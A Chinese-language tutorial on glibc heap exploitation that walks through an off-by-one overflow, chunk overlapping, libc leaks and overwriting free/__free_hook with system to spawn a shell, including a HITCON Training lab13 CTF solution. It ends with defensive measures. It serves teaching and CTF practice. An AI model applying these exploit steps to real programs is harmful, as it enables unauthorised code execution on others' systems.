从Off-by-one到Chunk Overlapping:实战堆漏洞利用的艺术
1. 堆漏洞利用的基础概念堆漏洞利用一直是二进制安全领域中最具挑战性又最有趣的部分。我第一次接触堆漏洞时完全被那些复杂的结构和术语搞晕了但当你真正理解其中的原理后会发现它其实就像搭积木一样有趣。今天我们要讨论的Off-by-one漏洞和Chunk Overlapping技术就是堆利用中最经典的组合拳。堆管理器的核心任务是分配和释放内存块我们称之为chunk。每个chunk都包含元数据(prev_size和size)和用户数据部分。在glibc的实现中size字段不仅记录chunk的大小还包含三个标志位PREV_INUSE (最低位)表示前一个chunk是否在使用中IS_MMAPPED (倒数第二位)表示是否通过mmap分配NON_MAIN_ARENA (倒数第三位)表示是否属于非主分配区理解这些基本概念非常重要因为后续的所有利用技巧都是建立在对这些元数据的精确操控上。我记得刚开始学习时经常混淆prev_size和size字段的作用直到有一次在调试器中亲眼看到它们的变化才真正明白。2. Off-by-one漏洞的本质Off-by-one(差一错误)可能是最简单的内存错误但它的威力却不容小觑。这种漏洞通常发生在边界条件处理不当的情况下比如char buffer[10]; for(int i0; i10; i) { // 这里应该是i10 buffer[i] 0; }在堆利用场景中最危险的是能够覆盖下一个chunk的size字段的Off-by-one。我曾在一次CTF比赛中遇到一个典型案例void edit_chunk(int idx) { // 这里size1导致了off-by-one read_input(chunks[idx].data, chunks[idx].size 1); }这种漏洞看似只能修改一个字节但通过精心构造我们可以扩展当前chunk的大小(Chunk Extend)修改关键标志位(如PREV_INUSE)破坏堆管理器的完整性检查3. 从Off-by-one到Chunk OverlappingChunk Overlapping是堆利用中的瑞士军刀它允许我们使两个或多个chunk的内存区域重叠从而实现对堆布局的完全控制。通过Off-by-one实现Overlapping的基本步骤是3.1 内存布局准备首先需要精心布置堆内存# 示例准备三个连续chunk chunk_A malloc(0x18) # 注意不是0x10为了留出操作空间 chunk_B malloc(0x10) chunk_C malloc(0x10) # 防止合并到top chunk3.2 触发Off-by-one利用漏洞修改下一个chunk的size字段# 假设我们可以溢出chunk_A payload bA*0x18 p64(0x41) # 将chunk_B的size从0x21改为0x41 edit_chunk(0, payload)3.3 构造重叠区域释放并重新分配被修改的chunkfree(chunk_B) chunk_B_prime malloc(0x38) # 现在这个chunk包含了原来的chunk_B和chunk_C现在chunk_B_prime和chunk_C就形成了重叠区域。我曾在实际漏洞利用中用这种方法同时控制了两个不同的数据结构实现了令人惊讶的效果。4. 实战利用技巧4.1 劫持控制流通过Overlapping我们可以实现多种利用方式最经典的是劫持控制流泄露堆地址和libc地址# 通过重叠区域读取fd/bk指针 leak read_overlapped_chunk() libc_base leak - libc.sym[__malloc_hook] - 0x10修改关键函数指针# 比如修改__free_hook为system system_addr libc_base libc.sym[system] edit_overlapped_chunk(p64(system_addr))触发shell# 现在free()就会变成system() chunk_sh malloc(0x10) edit_chunk(2, b/bin/sh\x00) free(chunk_sh) # 实际上执行system(/bin/sh)4.2 绕过现代防护机制现代系统有ASLR、NX、堆完整性检查等防护我们的技术也需要进化对抗tcache在glibc 2.26中可以通过填满tcache bin来强制使用传统的fastbin/smallbin应对完整性检查小心维护伪造chunk的size和nextsize字段的一致性信息泄露利用UAF或重叠区域泄露关键地址我记得有一次比赛题目开启了所有保护但通过精心构造的Overlapping还是成功实现了利用。关键在于理解每个防护机制的工作原理和局限性。5. 经典案例分析让我们深入分析一个典型CTF题目基于HITCON Training lab135.1 漏洞点分析程序存在明显的Off-by-one// 修改时的读取比创建时多1字节 read_input(heaparray[idx]-content, heaparray[idx]-size 1);5.2 利用步骤创建两个chunk第一个大小精心选择为0x18实际会分配0x20的chunkcreate(0x18, A*0x18) # chunk0 create(0x10, B*0x10) # chunk1利用Off-by-one覆盖chunk1的sizeedit(0, b/bin/sh\x00 bA*0x10 p64(0x41))释放并重新分配构造重叠区域free(1) create(0x30, p64(0)*3 p64(0x21) p64(0x30) p64(exe.got[free]))泄露和劫持free为systemshow(1) leak u64(r.recv(6).ljust(8, b\x00)) system leak - libc.sym[free] libc.sym[system] edit(1, p64(system))触发shellfree(0) # 现在free(chunk0)就是system(/bin/sh)这个案例完美展示了从Off-by-one到完整利用的全过程。在实际操作中每个步骤都需要仔细调试确保内存布局符合预期。6. 高级技巧与注意事项6.1 前向合并攻击除了常见的后向扩展还可以利用前向合并# 修改pre_size和PREV_INUSE位 payload p64(0) p64(0xd0) | 1 # 设置pre_size和size edit_victim_chunk(payload) free(victim_chunk) # 触发前向合并这种技术可以跨越多个chunk实现Overlapping在特定场景下非常有用。6.2 调试技巧堆利用离不开调试我常用的GDB技巧包括# 查看堆布局 x/40gx heap_address # 查看bins状态 p main_arena.fastbinsY p main_arena.bins # 自动化脚本 define hook-stop heap bins x/10gx 关键地址 end6.3 常见问题解决堆布局不稳定尝试添加填充chunk稳定布局利用失败检查chunk大小是否计算正确特别是对齐问题崩溃问题确保伪造的chunk元数据满足glibc的完整性检查7. 防御与缓解措施作为安全研究者我们不仅要会攻击还要理解防御编译时防护# 开启FORTIFY gcc -D_FORTIFY_SOURCE2 -O2 # 使用安全增强的分配器 sudo apt install hardened-malloc运行时检测glibc的完整性检查如size vs prev_size一致性使用AddressSanitizer检测内存错误gcc -fsanitizeaddress -g test.c开发最佳实践永远不要信任用户输入的大小参数使用安全的字符串处理函数对数组访问进行严格的边界检查堆漏洞利用就像一场精妙的棋局需要耐心、技巧和对细节的极致关注。每次成功利用后那种成就感是无与伦比的。但记住能力越大责任越大这些技术应该只用于合法授权的安全研究和CTF比赛。